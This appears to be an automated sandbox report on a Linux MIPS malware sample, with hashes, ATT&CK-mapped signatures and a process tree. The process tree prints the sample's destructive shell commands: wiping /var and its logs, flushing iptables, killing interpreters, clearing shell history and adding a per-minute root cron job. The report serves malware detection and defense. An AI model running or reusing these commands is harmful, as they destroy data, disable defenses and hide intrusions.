fdf8b19ded7e734f777c3bc27e4e5398435a0a160d78d1562b93247f54aee130

Analysis

max time kernel
150s
max time network
142s
platform
debian-12_mipsel
resource
debian12-mipsel-20240221-en
resource tags

arch:mipselimage:debian12-mipsel-20240221-enkernel:6.1.0-17-4kc-maltalocale:en-usos:debian-12-mipselsystem
submitted
19/08/2024, 01:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf
Size

159KB
MD5

e5147a8fa220a02779dfd16b7507839f
SHA1

35a7290e4d4059fe9b1446fc621775cb32e89f69
SHA256

edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53
SHA512

4e81492402745a7fa10574c2488244fe72f63cd27ab8f6756e765c4b21606a82ea5cf11f202a979f7cdb6008bee4ea46b398fc38635b2179bca8bfc59db4b138
SSDEEP

3072:JZoDOcH7TvwfmIN+F293W0Quyma9TFUqX6etJ:ADOcbTfyuKQuyma9FpJ

Score

7^/10

antivm evasion persistence

Malware Config

Signatures

Deletes Audit logs 1 TTPs 1 IoCs

Deletes logs related to the Linux Audit framework.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/audit/audit.log	rm

Deletes journal logs 1 TTPs 3 IoCs

Deletes systemd journal logs. Likely to evade detection.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/journal/edeb2f80f756429c9aae366fe5ab23dd/system@40f19c4b060a40c883a09a59a71fe3ea-0000000000000001-000611df8f2f624b.journal	rm
File deleted	/var/log/journal/edeb2f80f756429c9aae366fe5ab23dd/system.journal	rm
File deleted	/var/log/journal/edeb2f80f756429c9aae366fe5ab23dd	rm

Executes dropped EXE 1 IoCs

ioc	pid	Process
/dev/ocmount	822	ocmount

Flushes firewall rules 2 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
797	iptables
798	iptables

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf
File opened for modification	/dev/misc/watchdog	edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	178.254.22.166

Checks mountinfo of local process 1 TTPs 5 IoCs

Checks mountinfo of running processes which indicate if it is running in chroot jail.

antivm

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
File opened for reading	/proc/822/mountinfo	cat
File opened for reading	/proc/822/mountinfo	cat
File opened for reading	/proc/822/mountinfo	cat
File opened for reading	/proc/822/mountinfo	cat
File opened for reading	/proc/822/mountinfo	cat

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

T1053

description	ioc	Process
File opened for modification	/etc/cron.d/mount.sh	sh

Deletes log files 1 TTPs 29 IoCs

Deletes log files on the system.

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/installer/partman	rm
File deleted	/var/log/installer/syslog	rm
File deleted	/var/log/private	rm
File deleted	/var/log/apt	rm
File deleted	/var/log/wtmp	rm
File deleted	/var/log/lastlog	rm
File deleted	/var/log/apt/history.log	rm
File deleted	/var/log/installer/firmware-summary	rm
File deleted	/var/log/dpkg.log	rm
File deleted	/var/log/exim4/mainlog	rm
File deleted	/var/log/audit	rm
File deleted	/var/log/runit	rm
File deleted	/var/log/faillog	rm
File deleted	/var/log/exim4	rm
File deleted	/var/log/fontconfig.log	rm
File deleted	/var/log/apt/term.log	rm
File deleted	/var/log/README	rm
File deleted	/var/log/installer/cdebconf	rm
File deleted	/var/log/installer/cdebconf/questions.dat	rm
File deleted	/var/log/btmp	rm
File deleted	/var/log/runit/ssh	rm
File deleted	/var/log/installer/cdebconf/templates.dat	rm
File deleted	/var/log/apt/eipp.log.xz	rm
File deleted	/var/log/installer/hardware-summary	rm
File deleted	/var/log/installer/lsb-release	rm
File deleted	/var/log/journal	rm
File deleted	/var/log/installer/status	rm
File deleted	/var/log/installer	rm
File deleted	/var/log/alternatives.log	rm

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 4 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/bash	745	edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf
Changes the process name, possibly in an attempt to hide itself	bash	816	Process not Found
Changes the process name, possibly in an attempt to hide itself	/bin/sh	817	Process not Found
Changes the process name, possibly in an attempt to hide itself	/bin/bash	818	Process not Found

Reads CPU attributes 1 TTPs 3 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/possible	pkill
File opened for reading	/sys/devices/system/cpu/possible	pkill
File opened for reading	/sys/devices/system/cpu/possible	pkill

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/node	pkill
File opened for reading	/sys/devices/system/node	pkill
File opened for reading	/sys/devices/system/node	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/667/status	pkill
File opened for reading	/proc/667/cmdline	pkill
File opened for reading	/proc/29/ctty	pkill
File opened for reading	/proc/667/cmdline	pkill
File opened for reading	/proc/45/cgroup	pkill
File opened for reading	/proc/387/cmdline	pkill
File opened for reading	/proc/696/stat	pkill
File opened for reading	/proc/uptime	pkill
File opened for reading	/proc/4/ctty	pkill
File opened for reading	/proc/48/stat	pkill
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/20/ctty	pkill
File opened for reading	/proc/180/cmdline	pkill
File opened for reading	/proc/16/cgroup	pkill
File opened for reading	/proc/31/ctty	pkill
File opened for reading	/proc/117/ctty	pkill
File opened for reading	/proc/738/ctty	pkill
File opened for reading	/proc/48/ctty	pkill
File opened for reading	/proc/777/cmdline	pkill
File opened for reading	/proc/772/cmdline	pkill
File opened for reading	/proc/1/cgroup	pkill
File opened for reading	/proc/25/cgroup	pkill
File opened for reading	/proc/714/ctty	pkill
File opened for reading	/proc/self/status	pkill
File opened for reading	/proc/114/ctty	pkill
File opened for reading	/proc/138/ctty	pkill
File opened for reading	/proc/376/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/681/status	pkill
File opened for reading	/proc/10/ctty	pkill
File opened for reading	/proc/30/stat	pkill
File opened for reading	/proc/3/cgroup	pkill
File opened for reading	/proc/4/cmdline	pkill
File opened for reading	/proc/58/stat	pkill
File opened for reading	/proc/32/cmdline	pkill
File opened for reading	/proc/115/ctty	pkill
File opened for reading	/proc/33/cgroup	pkill
File opened for reading	/proc/722/ctty	pkill
File opened for reading	/proc/680/cgroup	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/117/stat	pkill
File opened for reading	/proc/258/status	pkill
File opened for reading	/proc/722/stat	pkill
File opened for reading	/proc/17/ctty	pkill
File opened for reading	/proc/718/cgroup	pkill
File opened for reading	/proc/180/stat	pkill
File opened for reading	/proc/377/stat	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/33/cmdline	pkill
File opened for reading	/proc/59/stat	pkill
File opened for reading	/proc/441/cgroup	pkill
File opened for reading	/proc/180/stat	pkill
File opened for reading	/proc/714/ctty	pkill
File opened for reading	/proc/117/cgroup	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/117/status	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/47/stat	pkill
File opened for reading	/proc/3/stat	pkill
File opened for reading	/proc/42/stat	pkill
File opened for reading	/proc/5/stat	pkill
File opened for reading	/proc/45/status	pkill
File opened for reading	/proc/21/stat	pkill
File opened for reading	/proc/25/status	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf	edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf

/tmp/edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf
/tmp/edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf
1⤵
- Modifies Watchdog functionality
- Changes its process name
- Writes file to tmp directory
PID:745
- /bin/sh
  sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/* /var/log/wtmp"
  2⤵
  PID:747
- - /usr/bin/rm
    rm -rf /tmp/edf45e54e711e0beff500c86b6ba61af6f360f278b40be51507612855516ec53.elf /tmp/systemd-private-15e96b3a9e0f41b3a228e22c4085d2a8-systemd-logind.service-q1C16q /tmp/systemd-private-15e96b3a9e0f41b3a228e22c4085d2a8-systemd-timedated.service-fspqOl /var/backups /var/cache /var/lib /var/local /var/lock /var/log /var/mail /var/opt /var/run /var/spool /var/tmp /var/run/atd.pid /var/run/auditd.pid /var/run/console-setup /var/run/credentials /var/run/crond.pid /var/run/crond.reboot /var/run/dbus /var/run/dhclient.enp0s19.pid /var/run/exim4 /var/run/initctl /var/run/initramfs /var/run/lock /var/run/log /var/run/motd.dynamic /var/run/mount /var/run/network /var/run/sendsigs.omit.d /var/run/shm /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/user /var/run/utmp /var/tmp/systemd-private-15e96b3a9e0f41b3a228e22c4085d2a8-systemd-logind.service-g1dnSk /var/tmp/systemd-private-15e96b3a9e0f41b3a228e22c4085d2a8-systemd-timedated.service-SXaRlO /var/log/wtmp
    3⤵
    - Deletes Audit logs
    - Deletes journal logs
    - Deletes log files
    PID:749
- /bin/sh
  sh -c "rm -rf /tmp/*"
  2⤵
  PID:774
- - /usr/bin/rm
    rm -rf "/tmp/*"
    3⤵
    PID:775
- /bin/sh
  sh -c "iptables -F"
  2⤵
  PID:776
- /bin/sh
  sh -c "pkill -9 busybox"
  2⤵
  PID:777
- - /usr/bin/pkill
    pkill -9 busybox
    3⤵
    - Reads CPU attributes
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:778
- /bin/sh
  sh -c "pkill -9 perl"
  2⤵
  PID:779
- - /usr/bin/pkill
    pkill -9 perl
    3⤵
    - Reads CPU attributes
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:780
- /bin/sh
  sh -c "pkill -9 python"
  2⤵
  PID:781
- - /usr/bin/pkill
    pkill -9 python
    3⤵
    - Reads CPU attributes
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:782
- /bin/sh
  sh -c "service iptables stop"
  2⤵
  PID:783
- - /usr/sbin/service
    service iptables stop
    3⤵
    PID:784
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:785
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:786
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:789
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:788
- - /usr/local/sbin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- - /usr/local/bin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- - /usr/sbin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- - /usr/bin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  PID:796
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:797
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:798
- /bin/sh
  sh -c "service firewall stop"
  2⤵
  PID:799
- - /usr/sbin/service
    service firewall stop
    3⤵
    PID:800
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:801
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:802
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:804
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:805
- - /usr/local/sbin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- - /usr/local/bin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- - /usr/sbin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- - /usr/bin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:808
- /bin/sh
  sh -c "rm -rf ~/.bash_history"
  2⤵
  PID:809
- - /usr/bin/rm
    rm -rf "~/.bash_history"
    3⤵
    PID:810
- /bin/sh
  sh -c "history -w"
  2⤵
  PID:811
- /bin/sh
  sh -c "chmod +x /dev/ocmount"
  2⤵
  PID:815
- - /usr/bin/chmod
    chmod +x /dev/ocmount
    3⤵
    PID:819
- /bin/sh
  sh -c "echo '* * * * * root /bin/bash /dev/ocmount' > /etc/cron.d/mount.sh"
  2⤵
  - Creates/modifies Cron job
  PID:820
- /bin/sh
  sh -c /dev/ocmount
  2⤵
  PID:821
- - /dev/ocmount
    /dev/ocmount
    3⤵
    - Executes dropped EXE
    PID:822
  - - /usr/bin/cat
      cat /proc/822/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:823
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:827
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:828
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:831
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:832
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:833
  - - /usr/bin/cat
      cat /proc/822/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:836
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:840
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:841
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:845
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:844
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:846
  - - /usr/bin/cat
      cat /proc/822/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:847
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:851
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:852
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:856
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:855
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:857
  - - /usr/bin/cat
      cat /proc/822/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:858
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:862
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:863
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:866
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:867
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:868
  - - /usr/bin/cat
      cat /proc/822/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:869
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:874
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:873
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:877
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:878
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:879

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/dev/ocmount

Filesize
479B

MD5
a3fc64b86b20a7b2eaa9330e1064d1f1

SHA1
3a6f294c550a578d5e337f67fd4d9c1984eea885

SHA256
6029dd069bc913653eec32e54fb005a80fb71ebb5f0a584c71e06ac08fbbece6

SHA512
ce26f2c6ecec049b7053008e323018ec8a709942a456464a1d423f80b92bca410d9b0f661093eb732254e6690900ac9a15b6f62450f72e6511195aee403c50b6

Download Submit
/etc/cron.d/mount.sh

Filesize
38B

MD5
67ec4a157e5b63970cfbb8cc55883ad7

SHA1
5262b8c108dc3aef69fca6ffd959893de852dc67

SHA256
0cb3cc915bb7492ff579f2b59237a5899088e5c5f238125ac9f0b5f73d2723e7

SHA512
eb6310992dc6e3ac1fca2bcf26d82365494aa0adbd80ee5ec6231b2418d1daf6608f7820a560b4fbda8c8885a59f8a82ca86aaa481f254d207926c1f6c5802b9

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads